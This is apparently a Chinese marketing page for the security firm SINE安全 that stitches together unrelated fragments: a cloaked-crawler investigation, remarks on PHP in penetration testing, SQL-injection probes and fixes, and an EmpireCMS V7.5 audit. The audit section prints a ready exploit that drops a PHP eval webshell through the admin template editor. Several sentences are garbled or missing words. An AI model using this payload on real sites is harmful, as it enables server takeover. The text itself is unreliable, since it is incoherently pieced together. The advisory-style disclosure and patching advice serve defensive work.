呼和浩特API防入侵

sine安全进行全面的黑箱安全测试，对相应的网站漏洞进行修复，对入侵的痕迹进行分析来制定相应的网站防篡改方案，对重要的登录页面，进行二次身份验证。修复漏洞不单是对BUG的修复，而是跟网站紧密结合在一起，进行行之有效的安全解决方案，即要修复网站的漏洞，也要保证网站的各个功能正常使用，还要保证网站的正常运营。
自己猜想了一下原因，页面和百度抓取收录显示不一致。查服务器日志方案不可行。网站实际页面和百度排虫收录显示不一致，网站源代码肯定被了，但怎么改的，改在哪里不知道，服务器里代码文档有几百个，一个个检查，一行行看源代码肯定不现实。首先想到了检查服务器日志。但是问题是不知道骇客哪天改的，所以只能调出了几个星期的服务器日志来检查。可是，检查日志也是庞大的工程，而且对此经验不足，也很费事，也不一定有结果。因此，只能又寻求新的办法。
找到了问题解决的关键路线，使用useragent-watch页面内容没变，但百度排虫抓取错了，问题肯定出在爬虫抓取身上。所以如果能看到排虫抓取的整个流程，或许会会找到。一番研究之后，找到了一个工具“user-agent-switcher”，可以模拟各种设备和搜索引擎排虫，chrome和火狐浏览器都有插件可以安装。chrome安装useragent-watch之后，添加百度爬虫useragent设置：Mozilla/5.0(compatible；Baiduspider/2.0；+http。如图。

为何看了许多分享实战中的案例全是PHP代码开发设计的网站？不清楚大家说的实例指具体的渗透实例还是一些实验教学实例？先说后面一种，PHP语言非常容易入门，而PHP网站开源系统免费代码多，因此（再融合前边何不记牢的依据），PHP网站系统漏洞自然环境更非常容易构建，更合适课堂教学。再聊前面一种，1）渗透一般并不是对单系统漏洞的剖析，只是对好几个系统漏洞的开发利用，那麽（依据前边何不记牢的依据），显而易见在渗透层面PHP网站有大量概率，应写的主题多。2）中国状况来讲，用jsp的网站是大单位、大中型国营企业等，用PHP的是中小型企业、个人、学生所使用等，（防止话题讨论拓宽过多就不用说为何了），因此渗透jsp网站你一般是不容易传出来给人看的。

字符型sql注入，是判断数据库的数据是字符型还是数字型，简单的一个方法就是使用单引号去安全测试，单引号闭合就是字符型的sql注入。数字型就很简单了，通过输入数字值对其判断，and1=1and1=2来观察返回来的网站结果是不是正常的就知道了。那么mysql该如何防止sql注入？我们通过以下三种方法进行防治sql注入
1.开启php的魔术模式，magic_quotes_gpc=on即可，当一些字符出现在网站前端的时候，就会自动进行转化，转化成一些其他符号导致sql语句无法执行。2.网站代码里写入过滤sql字符的代码，对一些字符进行转化，比如单引号，逗号，*，（括号）AND1=1、反斜杠，selectunion等查询的sql语句都进行安全过滤，限制这些字符的输入，禁止提交到后端中去。

近我们SINE安全在对帝国CMS系统进行代码安全审计的时候，发现该系统存在漏洞，受影响的版本是EmpireCMS V7.5，从帝国下载到本地，我们人工对其代码进行详细的漏洞检测与安全代码分析。共计发现三个高危漏洞，都是在的后台管理页面上的功能发现的。该漏洞的产生，根源的问题是没有对get,post提交方式进行严格的安全效验与过滤，导致可以插入恶意代码到后端服务器中去处理，导致漏洞的发生。帝国CMS系统，简单给大家介绍一下，目前很多站长，以及企业建站，使用该套系统，快速，便捷，易于搜索引擎收录，采用的是B/S架构开发，php语言+Mysql数据库，支持大并发同时访问，可以承载较多的用户快速的访问的各个页面与内容，模板自定义化，可以设置标签与自行设计外观，静态html生成，还有采集功能，深受广大站长和运营者的喜欢。我们SINE安全技术在对该代码进行安全检测与渗透测试的手，会先大体看下代码，熟悉整个的架构，数据库配置文件，以及调用到的文件，通常调用到的安全规则是如何写的，多个方面去大体的了解该代码，目前渗透测试中，发现的漏洞有：SQL注入漏洞，敏感信息泄露，初始化安装功能漏洞，直行平行越权逻辑漏洞，任意文件上传漏洞，登录绕过漏洞，短信验证码漏洞，找回密码漏洞，数据库备份webshell，XSS跨站,CSRF漏洞等待。
首先我们检测到的是帝国安装代码功能上存在可以插入恶意代码漏洞，在install安装目录下的index.php文件中，可以查到表的前缀，也就是获取前端提交过来的参数，然后继续往下看，data目录下的fun.php代码里的参数并没有做任何的安全效验，导致可以直接插入恶意代码写入到配置文件config.php中去。漏洞详情如下图：
后台还存在get webshell漏洞，打开后台管理功能页面，选择管理首页模板，紧接着右键点击增加首页方案中，复制漏洞exp代码：<?php $aa = base64_decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA)${(system)($aa)};?>  解密base64后是：ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA=>echo '<?php eval($_REQUEST[hp]);'>.php写到模板内容页面里，左键点击提交，再点击启用此方案，就在会e/admin/template/文件夹下生成一个.php文件。
关于帝国CMS漏洞的修复办法，对所有的get,post请求做安全过滤，也可以直接在eaddslashes2的参数里增加恶意代码的机制，先检测后放行，该漏洞的利用条件是需要有后台管理员权限，利用的不是太多，建议对后台的管理目录进行更改，或者直接将管理员的密码设置的复杂一些。如果您对漏洞修复不是太懂的话，也可以找的安全公司来处理，国内SINE安全，启明星辰，绿盟，都是比较不错的，漏洞经常出现，也请的运营者多多关注EmpireCMS的，一有补丁就立即修复掉，将安全损失降到低。
网站防入侵和防攻击等问题必须由我们安全技术来解决此问题，术业有专攻。

青岛四海通达电子科技有限公司坐落于美丽的海滨城市--青岛，是致力于网站安全和服务器安全的和推动者。安全服务于互联网金融、游戏平台、移动APP软件、O2O&电商、支付平台、外贸等行业，已精诚服务于上千家网站。公司的创立者为国内早从事互联网安全技术研究和服务器安全方面的，在安全渗透、身份认证安全、网站安全、服务器安全维护、应用攻防等技术方面有深厚的积累和独到的创新。

 

    SINE安全公司专注于安全领域十年，拥有的安全团队，拥有自己的内部信息漏洞平台，时刻洞察整个互联网的安全态势、漏洞信息、以及的攻击方法。正因为如此，我们具备攻击者视角以及防御者视角的多维度防御方法，所谓未知攻，焉知防，知己知彼，百战不殆！

 

    公司的安全服务项目包含服务器安全服务、网站安全服务、服务器代维服务、安全渗透测试服务。内容涉及服务器安全设置，底层系统的安全加固，深度攻击防御，服务器安全日志审查，网站漏洞测试，网站防劫持跳转，SQL防注入攻击，网站木马清理、网站程序代码安全审计，Windows 、Linux、服务器维护，服务器环境配置，LAMP环境配置，IIS、Nginx、Apache、JSP+Tomcat数据库集群、网站防攻击防篡改方案，网站漏洞检测，模拟入侵攻击，APP软件安全渗透(Android、IOS)，服务器漏洞测试等等。

 

    SINE安全公司研发的服务器安全防御系统，具有服务器攻击自动防御，网站攻击安全分析，攻击行为自动，调用底层IIS防火墙，Linux内核级防火墙，远程桌面军规认证，端口安全过滤，多年来研发的内部漏洞信息安全系统（包含各种开源程序的漏洞，DEDECMS、DISCUZ、ECSHOP、Wordpress、Magento、PHPCMS、Thinkphp、马克斯MAXCMS、等网站程序、以及MYSQL、Apache Serv-u、Tomcat等常用服务器软件的漏洞信息），以及社工库系统，源代码安全审计系统（程序代码的安全审查，能发现SQL注入，代码执行，命令执行，文件包含，绕过转义防护，拒绝服务，XSS跨站，信息泄露，任意URL跳转等漏洞）。 多个安全系统为客户提供了全面的、的、化的安全维护方案，进行技术支持与服务，有效的解决了入侵攻击，漏洞带来的安全威胁。 特别是我们在国内率先开展网站安全服务业务，建立了完善的安全服务体系(SafeServer)，具备国内网站安全服务资质，目前已成功为多家企事业单位和个人用户进行了网站及服务器安全维护服务，受到所有用户的一致好评和认可，被青岛本地企业评为“值得信赖的网络安全公司”，经过数十年的发展，sine安全已成长为面向国际市场的网站服务器安全解决方案提供商。